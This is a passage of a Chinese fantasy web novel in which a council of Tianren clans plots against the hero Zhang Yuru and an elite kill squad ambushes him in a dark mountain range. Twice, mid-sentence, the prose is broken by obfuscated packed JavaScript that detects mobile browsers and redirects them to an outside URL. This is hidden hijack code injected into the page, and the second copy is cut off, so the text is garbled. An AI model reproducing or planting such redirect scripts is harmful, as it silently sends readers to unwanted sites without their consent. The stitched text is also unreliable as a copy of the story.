他知道,现在不是纠结的时候,每多耽误一刻,爷爷姜南云的处境就多一分危险,天人也可能动用更强大的力量。 他再次催动能量,身体化作一道残影,消失在密林深处。 与张玉汝的奔波不同,此刻在神州国都城的“天人议会大厦”内,一场激烈的争吵正围绕着他展开。 议会大厦位于都城中心,是一座由白色玉石建造的巨型建筑,高百米,外形如同展翅的雄鹰。 大厦顶层的“安全委员会”会议室里,烟雾缭绕,空气中弥漫着压抑的气息。 会议室的圆形会议桌旁,坐着二十余名天人代表,他们来自神州国境内的各大天人家族——李氏、王氏、赵氏、刘氏……每一个家族都掌控着庞大的资源与权力。 而安全委员会,则是负责清除“对天人有威胁存在”的核心机构,权力凌驾于普通天人部门之上。 此刻,坐在会议桌主位左侧的李氏家族代表李宏,正拍着桌子,满脸怒容:“第三次了!第三次派出的小队又失败了!十名宗师级能力者,还有机械傀儡支援,竟然连一个刚晋升宗师的普通能力者都拦不住,你们到底是怎么做事的?” 李宏是李巡天的族兄,也是李氏家族在安全委员会的核心成员。 坐在他对面的王氏家族代表王坤,立刻接过话茬,语气带着嘲讽:“李代表,话可不能这么说。第一次袭击,你们李氏家族派出的人,结果连人家的衣角都没碰到,还被张玉汝用分身戏耍,浪费了大量资源,这能怪别人吗?” “你说什么?”李宏猛地站起身,指着王坤怒喝,“那是因为战场环境复杂,而且张玉汝的速度太快,我们的人根本来不及反应!要不是你们王氏家族不肯借出‘重力操控装置’,我们怎么会失败?” “哼,重力操控装置是我们王氏的核心技术,怎么能随便借给你们?”王坤冷笑一声,“再说了,第二次袭击是由赵氏家族主导,你们李氏家族只派了几个打杂的,结果还不是一样失败?赵代表,你倒是说说,你们的‘机械傀儡’怎么连张玉汝的「造化之眼」都骗不过?” 被点名的赵氏家族代表赵磊,脸色瞬间沉了下来:“王代表,你少在这里挑拨离间!我们的机械傀儡技术在所有天人家族中都是顶尖的,之前对付过不少宗师级能力者,从来没出过差错!” “这次失败,是因为张玉汝的能力太特殊,能看穿傀儡的结构,这能怪我们吗?而且刘氏家族承诺提供的‘禁魔**’,根本没发挥作用,**连张玉汝的残影都没击中,这又怎么说?” 刘氏家族代表刘芳立刻反驳:“赵代表,你可别血口喷人!我们的禁魔**是经过严格测试的,威力绝对没问题!没击中是因为你们的狙击手技术太差,连目标的移动轨迹都预判不准,关我们的**什么事?” “再说了,安全委员会的资源分配本就不公平,李氏家族拿到了三成资源,却连一点成果都没有,你们怎么不问问李宏代表是怎么管理的?” “你胡说!”李宏怒不可遏,“资源分配是委员会投票决定的,我们李氏家族拿到三成资源,是因为我们承担了大部分任务!你们刘氏家族只拿到一成资源,却连基本的支援都做不好,还有脸说我们?” 争吵如同滚雪球般愈演愈烈,各家族代表相互指责、推诿责任。 李氏怪王氏不借装备,王氏怪赵氏傀儡没用,赵氏怪刘氏**不行,刘氏怪李氏指挥不力,甚至还有家族代表提出“张玉汝背后有泰斗支持”,要求安全委员会请天人高层出面,调动更强大的力量。 “够了!” 就在争吵声达到顶峰时,一道冰冷的声音突然响起。众人循声望去,只见坐在会议桌主位上的安全委员会副主任——林墨,缓缓放下手中的茶杯。 林墨穿着一身黑色的劲装,面容清瘦,眼神锐利如刀,周身散发着一种让人不敢直视的威压。 他是安全委员会的实际掌权者之一,也是天人中少有的“谋略型”强者,实力深不可测,连各大天人家族的族长都要让他三分。 看到林墨开口,会议室瞬间安静下来,刚才还吵得面红耳赤的代表们,此刻都低下了头,不敢与他对视。 林墨扫了一眼众人,语气平静却带着不容置疑的威严:“一场无畏的争吵,浪费了半个时辰,这就是你们身为天人代表的素养?” 李宏脸色涨红,想要辩解,却被林墨一个眼神制止。 林墨继续说道:“我知道你们在不满什么,也知道你们在担心什么。但我要告诉你们,之前派出的小队,虽然没能拦下张玉汝,却达成了我们的目标——拖延他的速度,改变他的行进方向。” “拖延速度?改变方向?”王坤忍不住问道,“林副主任,这有什么用?张玉汝的速度本来就快,就算被拖延,最多也只是晚几天抵达裂隙之地。一旦他到了那里,拿到道果碎片,我们再想阻止他,就几乎不可能了!” 其他代表也纷纷点头,眼中满是疑惑——在他们看来,要么派出足够强大的力量直接斩杀张玉汝,要么就放任不管,拖延时间根本没有意义。 林墨闻言,嘴角勾起一抹淡淡的笑意,眼神中闪过一丝深意:“拖延时间,自然是为了等待决定性的力量到位。” 他顿了顿,目光扫过众人,缓缓说道:“你们以为,安全委员会真的只派了那些普通的小队吗?不,那些小队只是诱饵,是为了让张玉汝放松警惕,也是为了给我们争取时间——争取让‘屠灭小队’集结完毕的时间。” “屠灭小队?” 听到这四个字,会议室里的代表们瞬间瞪大了眼睛,脸上满是震惊与难以置信。 屠灭小队,是安全委员会的最强战力,也是天人手中最锋利的刀。 这支小队由数十名成员组成,每一名成员都是站在宗师巅峰的强者,而且都是天人中的佼佼者。 他们不仅实力强大,还掌握着各种特殊的能力,擅长团队配合,执行过数十次“清除任务”,从未失败过。 无论是隐藏能力者,还是反叛的天人家族,只要被屠灭小队盯上,最终的结局都是“全军覆没”。 这支小队平时很少出动,只有在遇到“足以威胁天人统治”的目标时,才会由安全委员会高层亲自下令集结。 “林副主任,您的意思是……您要动用屠灭小队?”李宏声音颤抖,眼中满是激动——屠灭小队一旦出手,张玉汝必死无疑! 林墨点点头,语气肯定:“没错。屠灭小队已经在三个时辰前集结完毕,目前正在向张玉汝的必经之路——‘黑石山脉’移动。” “按照我们的计算,张玉汝因为被拖延,会在明天中午抵达黑石山脉,而那时,屠灭小队也已经做好了准备。” 他拿起桌上的一份文件,递给李宏:“这是屠灭小队的行动计划,你们可以看一下。这一次,我们不仅要斩杀张玉汝,还要夺回道果碎片,同时,也要让那些隐藏在暗处的家伙知道,天人的威严,不容挑衅。” 李宏接过文件,快速翻阅起来,其他代表也纷纷凑了过去。 当他们看到文件上详细的行动计划——包括埋伏地点、攻击手段、应急方案,甚至连张玉汝可能的闪避路线都有预判时,脸上的疑惑与不满瞬间消失,取而代之的是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16747534|179243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兴奋与自信。 “太好了!有屠灭小队出手,张玉汝必死无疑!”王坤激动地说道。 “没错!到时候,我们不仅能解决张玉汝这个威胁,还能拿到道果碎片!”赵磊也说道。 林墨看着众人兴奋的模样,眼中却没有丝毫波动,他淡淡说道:“别高兴得太早。张玉汝能从李巡天手下逃脱,还能连续避开我们的四次袭击,说明他确实有过人之处。屠灭小队虽然强大,但也不能掉以轻心。” 他顿了顿,语气变得严肃起来:“从现在开始,所有家族都要配合屠灭小队的行动——李氏家族负责提供张玉汝的实时位置,王氏家族负责调动重力装置封锁黑石山脉的出口,赵氏家族负责提供机械傀儡支援,刘氏家族负责准备足够的禁魔药剂与能量**。任何家族敢拖延或敷衍,后果自负。” “是!” 代表们齐声应道,眼中满是敬畏——此刻的林墨,才真正展现出了安全委员会副主任的威严与魄力。 林墨站起身,目光望向窗外,都城的繁华尽收眼底。他轻声自语:“张玉汝,裂隙之地,道果碎片……这场游戏,终于要开始了。” 而此刻的张玉汝,还不知道自己已经被天人的最强战力盯上。 他正穿过一片荒原,朝着黑石山脉的方向前进,距离裂隙之地,还有最后两天的路程。他以为自己离目标越来越近,却不知道,一个巨大的陷阱,正在黑石山脉中等着他…… 张玉汝站在黑石山脉的入口处,望着眼前连绵起伏的黑色山峰,眉头微微皱起。 黑石山脉是梁州与西南边境的交界处,山脉绵延数百里,山峰陡峭,岩石呈黑色,故而得名。 山脉内部常年弥漫着黑色的雾气,雾气中含有能干扰能力的“蚀能粒子”,普通能力者进入其中,能量运转会变得滞涩,甚至会出现头晕、恶心等症状。 按照秦戍给他的地图,穿过黑石山脉,再向西南三千里,就能抵达裂隙之地的外围。 原本他可以选择绕过山脉,从南侧的平原走,但之前的袭击让他改变了主意——平原地带开阔,容易遭遇埋伏,而黑石山脉虽然环境恶劣,却能借助雾气隐蔽行踪,反而更安全。 “希望这里不会再遇到袭击。”张玉汝深吸一口气,将「融身自然」能力催动到极致,身体周围泛起一层淡淡的光晕,与周围的黑色雾气融为一体。 他迈开脚步,走进了黑石山脉。 山脉内部比他想象的还要昏暗,阳光被黑色雾气遮挡,只能透过缝隙洒下零星的光点。 地面上布满了尖锐的岩石,脚下时不时会踩到枯骨——有异兽的,也有人的。 空气中弥漫着腐臭的气息,夹杂着蚀能粒子的味道,吸入肺中,让他的喉咙有些发痒。 张玉汝小心翼翼地前进,「造化之眼」时刻运转,警惕着周围的动静。 黑白二色的视野中,他能看到雾气中的蚀能粒子在缓慢流动,也能看到隐藏在岩石后的异兽——这些异兽大多是低阶的,对他构不成威胁。 他沿着山脉中的一条狭窄小径前进,这条小径是秦戍标注的“安全路线”,据说很少有异兽出没,也没有天人的埋伏。 走了大约一个时辰,张玉汝突然停下脚步,眼神变得警惕起来——他听到了一阵轻微的脚步声,从前方的雾气中传来。 脚步声很轻,却很有节奏,不像是异兽的,更像是人的。而且不止一个,至少有十个人。 张玉汝心中一紧,身体瞬间绷紧,做好了战斗准备。 脚步声越来越近,很快,十道身影从雾气中走了出来。 这十个人都穿着黑色的战甲,战甲上刻着金色的纹路,散发着强大的能量波动。 他们的脸上戴着银色的面具,遮住了容貌,只露出一双双冰冷的眼睛。 每一个人的身上,都散发着宗师级的威压。 “张玉汝,我们等你很久了。”为首的一人开口,声音沙哑,如同金属摩擦,“我是屠灭小队的队长,黑鸦。” 张玉汝瞳孔骤缩——屠灭小队!他虽然没见过这支小队,却从秦戍那里听说过他们的名声。没想到,天人竟然会动用这么强大的力量来对付他! 黑鸦看着张玉汝,语气冰冷:“你以为自己能逃到裂隙之地?你以为那些小队只是普通的袭击者?不,从你离开雍州的那一刻起,你就已经走进了我们的陷阱。” “拖延时间,改变路线,都是为了让我们在这里等着你。”另一名屠灭小队成员说道,语气中带着嘲讽,“现在,你的路,走到头了。” 张玉汝深吸一口气,强迫自己冷静下来。他知道,自己这次遇到了前所未有的危机——十名宗师级的天人,组成的最强小队。 “想要杀我,没那么容易。”张玉汝语气坚定,体内能量开始疯狂运转,黑白二色的光晕笼罩全身,“那就让我看看,天人的最强战力,到底有多强!” 黑鸦见状,嘴角勾起一抹冷笑:“不知死活。既然你不肯束手就擒,那就别怪我们不客气了。” 他挥了挥手,屠灭小队的成员瞬间散开,形成一个圆形的包围圈,将张玉汝围在中间。 第 76章 麻烦 黑鸦的话音落下,屠灭小队的十名成员没有丝毫迟疑,身影如同鬼魅般朝着张玉汝扑来。 他们虽都是宗师巅峰实力,未达大宗师之境,可每一步踏在黑石山脉的黑色岩石上,都带着精准的节奏——脚步落地的声响彼此呼应,气息交融间竟形成一道无形的气场,将张玉汝周围的空间隐隐锁定。 这便是屠灭小队的可怕之处:十年间数百次协同作战,让他们的配合达到了“一人动则十人动”的境界,十道宗师巅峰的力量拧成一股绳,足以斩杀寻常大宗师。 张玉汝瞳孔微缩,体内能量瞬间沸腾。 他没有选择闪避,而是迎着最前方的一名队员冲去——对付配合默契的小队,唯有以最快速度打乱他们的阵型,才有一线生机。 “砰!” 拳头与拳头的碰撞声在雾气中炸开。 张玉汝的拳头带着极致的速度,空气被压缩成一道尖锐的气爆;而对面队员的拳头则覆盖着一层淡紫色的能量,看似缓慢,却精准地挡在张玉汝拳锋之前。 两股力量相撞的瞬间,张玉汝只觉一股阴柔的力量顺着手臂蔓延,试图缠绕他的能量运转,可他反应极快,手腕微翻,拳头化作掌刀,顺着对方手臂外侧划过,指尖带着黑白二色能量,直逼对方咽喉。 那队员却早有准备,身体如同没有骨骼般向后弯折,同时身后的两名队友瞬间补位——左侧队员掌心弹出三道银色的骨刃,右侧队员则释放出一股粘稠的灰色能量,如同蛛网般朝着张玉汝笼罩而来。 张玉汝脚下一点,身体如同柳絮般向后飘退,避开骨刃与灰网的同时,目光快速扫过全场。 十名队员已形成环形包围圈,每个人的站位都精准卡在他可能闪避的路线上,而且他们的能力各不相同:有操控骨刃的,有释放灰网的,有能让身体扭曲变形的,还有人周身萦绕着细微的空间波动——没有一种是常规的元素能力,每一种都带着诡异的杀伤力。 “好默契的配合。”张玉汝心中暗叹,不敢有丝毫大意。 他将「加速世界」催动到六成,身体化作一道模糊的残影,在包围圈中快速穿梭。 拳头、掌刀、肘击、膝撞,每一次攻击都朝着队员们的间隙而去,试图找到阵型的破绽;而屠灭小队的队员们则如同铁壁般,无论张玉汝速度多快,总能在他攻击到来前完成补位,甚至偶尔还能抓住他的闪避轨迹,发动一次短暂的合击。 雾气中,十一道身影交织成一片残影。拳脚碰撞的闷响、能量撕裂空气的锐响、岩石被震碎的碎裂声此起彼伏。 张玉汝的速度无疑是全场最快的,好几次他的指尖都擦过队员的战甲,险些命中要害;可屠灭小队的配合实在太过严密,十个人如同一个整体,无论他从哪个方向突破,都会立刻遭遇至少三名队员的拦截。 一刻钟后,张玉汝借着一次肘击的反作用力,身体向后飘出数米,与屠灭小队拉开距离。 他的呼吸微微有些急促,手臂上的战甲被划开三道细小的口子,露出下方淡淡的血痕——这一轮近战试探,他没能找到对方的破绽,反而因为要避开层出不穷的诡异能力,消耗了不少体力。 而屠灭小队的队员们也并不好受。 站在最前方的那名队员,手臂微微颤抖,刚才与张玉汝硬拼的拳头,此刻还在隐隐发麻;释放灰网的队员,灰色能量消耗了近三成,却连张玉汝的衣角都没碰到。 黑鸦站在包围圈外侧,面具下的眼神愈发冰冷:“速度确实快,不过,光靠速度,赢不了我们。” 张玉汝没有回应,他盯着屠灭小队的队员们,嘴角勾起一抹冷冽的弧度。 刚才的近战交锋,看似是双方的试探,实则他早已在每次拳脚接触的瞬间,将一丝微弱的「枯荣」能量悄悄附着在对方的战甲或皮肤上。 那是他对于能量精细化掌控的体现,能以极细微的能量印记,悄无声息地寄生在目标身上,时机成熟时,便可引动印记,加速目标的生命力衰败。 “来!” 张玉汝单手掐诀,口中低呵一声。 随着他的话音落下,屠灭小队的十名队员突然同时发出一声闷哼。 他们低头看去,只见自己的手臂、腿部——凡是与张玉汝有过接触的部位,皮肤竟以肉眼可见的速度变得干瘪、枯黄,如同被抽走了所有水分的枯木;裸露在外的肌肉也开始快速萎缩,原本挺拔的身躯瞬间佝偻了几分,气息更是急剧衰弱。 “这是什么能力?!”一名队员惊声喝道,试图运转能量驱散体内的异常,可无论他如何催动能量,那股衰败的力量都如同跗骨之蛆,死死缠绕着他的生命力,甚至还在顺着能量运转的轨迹,向全身蔓延。 黑鸦的眼神终于变了,虽然他知道张玉汝有这样的能力,但当亲身经历这一切的时候,还是不可避免的产生了惊异之感。 要知道,生命力衰败对能力者而言,比直接受伤更可怕——生命力的流失会直接导致能量运转滞涩、身体机能下降,宗师巅峰的实力恐怕用不了片刻,就会跌落到宗师初阶。 可就在这时,诡异的一幕发生了。 那些干瘪枯黄的皮肤,突然泛起一层淡金色的光晕。 光晕流转间,萎缩的肌肉以更快的速度重新鼓起,干瘪的皮肤也恢复了原本的弹性与色泽,甚至连消耗的能量都在快速回升。 不过数秒时间,屠灭小队的队员们便恢复到了巅峰状态,仿佛刚才的生命力衰败只是一场幻觉。 “怎么可能?!”张玉汝瞳孔骤缩,心中掀起惊涛骇浪。 他的「枯荣」能力虽不是百分百的杀招,却也从未失手过,就算是宗师级能力者,也至少需要片刻才能化解,可屠灭小队竟能在数秒内完全恢复,甚至看不出丝毫损伤。 还没等他想明白其中缘由,一股剧烈的痛感突然从全身传来。 张玉汝低头看去,只见自己的手臂肌肉竟开始以肉眼可见的速度溶解——原本结实的肌肉化作淡绿色的粘稠液体,顺着皮肤流淌下来,落在黑色岩石上,发出“滋滋”的腐蚀声。 紧接着,腿部、躯干也出现了同样的状况,皮肤下的肌肉、器官如同遭遇了强酸腐蚀,快速消融,剧烈的痛感如同潮水般淹没了他的意识。 “这是……分解?”张玉汝咬牙,强忍着剧痛,脑海中飞速闪过应对之策。 张玉汝能够清晰地感觉到,自己的身体各处仿佛遭遇了强酸腐蚀一般,器官组织剧烈溶解,身体机能被迅速破坏。 “颠倒!” 张玉汝低喝一声,双手快速结印。 黑白二色的能量如同流水般在他周身流转,形成一道半透明的光茧。 光茧笼罩的瞬间,他身上正在溶解的肌肉、器官以倒放的形式快速恢复——淡绿色的液体重新凝聚成肌肉,消融的器官回到原位,剧烈的痛感也随之消失。 短短三秒,他的身体状态便被重置到了十分钟前,那股诡异的反噬力量也彻底消散。 即便如此,张玉汝还是心有余悸。刚才肌肉溶解的痛感太过真实,那种身体一点点化为液体的恐惧,那种自己身体缺少了一部分的感觉实在是让人无法接受。 他知道,屠灭小队的能力远比他想象的更诡异,必须尽快找出他们的弱点。 “造化之眼,开!” 张玉汝双眼泛起黑白二色的光芒,视线穿透黑石山脉的黑色雾气,直逼屠灭小队的队员们。 他要用这双能看破万物变化的眼睛,看穿对方快速恢复以及伤害自己的秘密——在他看来,所有已知的威胁都能应对,唯有未知的能力,才是最致命的。 可这一次,「造化之眼」竟失效了。 就在他的视线即将触及队员们的瞬间,黑鸦突然动了。 他周身的暗影能量不再是稀薄的雾气,而是如同浓稠的墨汁般,从他体内汹涌而出,朝着四周快速扩散。 黑石山脉的黑色雾气仿佛被这股暗影能量激活,纷纷朝着黑鸦汇聚,两者交融在一起,形成一片纯粹的黑暗——没有光,没有声音,甚至连空气的流动都消失了。 张玉汝的视线瞬间被黑暗吞噬。 他的「造化之眼」能穿透普通的雾气与暗影,却无法穿透这股极致的黑暗——这不是简单的光线遮蔽,而是对“感知”的彻底封闭。 他听不到周围的任何动静,看不到哪怕一丝光影,甚至连自己身体与空气的接触感都变得模糊,仿佛整个世界只剩下他一个人的意识,悬浮在无尽的黑暗中。 “这是……感官封闭?”张玉汝心中一沉。 黑鸦的暗影能力早已超越了常规的暗影操控,达到了“影响精神感知”的境界。 而黑石山脉本身的黑色雾气,更是为这股暗影能量提供了绝佳的温床——黑暗在山脉中如同有了生命,不断压缩、凝聚,将他的感官压缩到极致。 “砰!” 一道凌厉的攻击突然从左侧袭来,张玉汝凭借多年战斗的本能,身体下意识地向右侧偏闪,可还是慢了一步。 一股带着刺骨寒意的能量擦过他的左肩,将他的长袍撕开一道长长的口子,皮肤也被划出一道深可见骨的伤口,鲜血瞬间涌出,落在黑暗中,却没有发出丝毫声响。 紧接着,右侧、身后、头顶,四面八方都传来能量波动的气息,却听不到任何攻击的预兆。 张玉汝只能依靠本能不断闪避,可每一次闪避都显得狼狈不堪——**攻击来自哪里,不知道攻击的类型,甚至不知道下一次攻击会在何时到来。 片刻之间,张玉汝身上便添了数道伤口,鲜血染红了他的战甲,体力也在快速消耗。 他彻底陷入了黑暗的囚笼,而屠灭小队的队员们,就如同隐藏在黑暗中的猎手,正一步步缩小包围圈,等待着给予他致命一击的时机。 黑石山脉的雾气愈发浓郁,黑暗如同潮水般包裹着张玉汝,死亡的阴影,从未如此接近。 黑暗中,张玉汝的指尖还残留着肌肉溶解时的灼痛感,左肩的伤口正不断渗出鲜血,温热的液体顺着手臂流淌,却在触及暗影能量的瞬间,被悄无声息地吞噬——这是他晋升大师级以来,第一次在同阶对抗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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缠绕在他周身的黑白二色能量,如同沉睡的火山般轰然炸开——白色能量如同初生的阳光,带着温暖却霸道的气息,朝着四周扩散;黑色能量则如同深邃的星空,与白色能量交织缠绕,形成一道旋转的能量风暴。 “嗡——” 能量风暴与黑鸦的暗影能量碰撞的瞬间,整片黑石山脉仿佛都震颤了一下。 原本如同墨汁般浓稠的暗影,在黑白能量的冲击下,竟如同退潮般快速向后收缩,露出周围屠灭小队队员们惊愕的脸庞。 他们下意识地释放能力想要阻拦,可无论是骨刃、灰网,还是那诡异的分解能量,在黑白能量风暴面前,都如同脆弱的纸片般被轻易撕碎。 短短数秒,笼罩战场的暗影便被彻底驱散。 而张玉汝的周身,黑白二色的能量正缓缓凝聚成一个直径百米的球形领域——领域之内,白色能量在地面铺展开如同玉石般的光层,黑色能量则在头顶交织成点缀着光点的“星空”. 领域边缘,黑白能量形成一道半透明的屏障,将黑石山脉的黑色雾气与蚀能粒子彻底隔绝在外。 这,便是张玉汝的领域——「世界」。 当领域彻底稳定的那一刻,张玉汝清晰地感觉到,体内原本因暗影压制而滞涩的能量,此刻正如同奔腾的江河般畅快流转。 左肩的伤口在白色能量的滋养下,以肉眼可见的速度愈合;之前被分解能力损伤的肌肉,也在黑色能量的修复下重新变得结实。 更重要的是,他的「加速世界」「颠倒」「枯荣」乃至「造化之眼」,都在领域的加持下,威力提升了至少三成。 「造化之眼」的视野能穿透领域内的一切阻碍,甚至能隐约看到屠灭小队队员们体内能量流转的轨迹。 而领域之外的屠灭小队,脸色则彻底变了。 黑鸦感受着自己的暗影能量在领域边缘被不断削弱,原本能轻松屏蔽五感的能力,此刻连靠近张玉汝百米范围都做不到。 之前能快速再生的队员,发现自己手臂上的一道小伤口,愈合速度竟慢了足足一半。 掌握分解能力的队员,尝试释放能量攻击领域屏障,却发现能量刚触碰到屏障,就被黑白能量同化、消解。 “领域类能力……”黑鸦感慨道。 领域类能力在它们这种级别的能力者当中算不上稀有。 不过能够用到张玉汝这种程度的就不算太多了。 而张玉汝不仅凝聚了领域,还能在战斗中瞬间展开,甚至能通过领域压制对手的能力——这份天赋,早已超越了普通的宗师级能力者。 张玉汝悬浮在「世界」领域的中心,感受着体内澎湃的能量与领域带来的绝对掌控力,嘴角勾起一抹冷冽的弧度。 之前的被动与狼狈,此刻已烟消云散——既然对方想用暗影与未知能力困住他,那他便用自己的领域,重新制定战场规则。 “现在,该轮到我了。” 张玉汝眼神一凝,体内能量再次运转。 在「世界」领域的加持下,他的身影化作一道黑白交织的残影,朝着屠灭小队冲去——这一次,被动的不再是他,而是那些藏在暗影中,试图用未知能力偷袭他的猎手。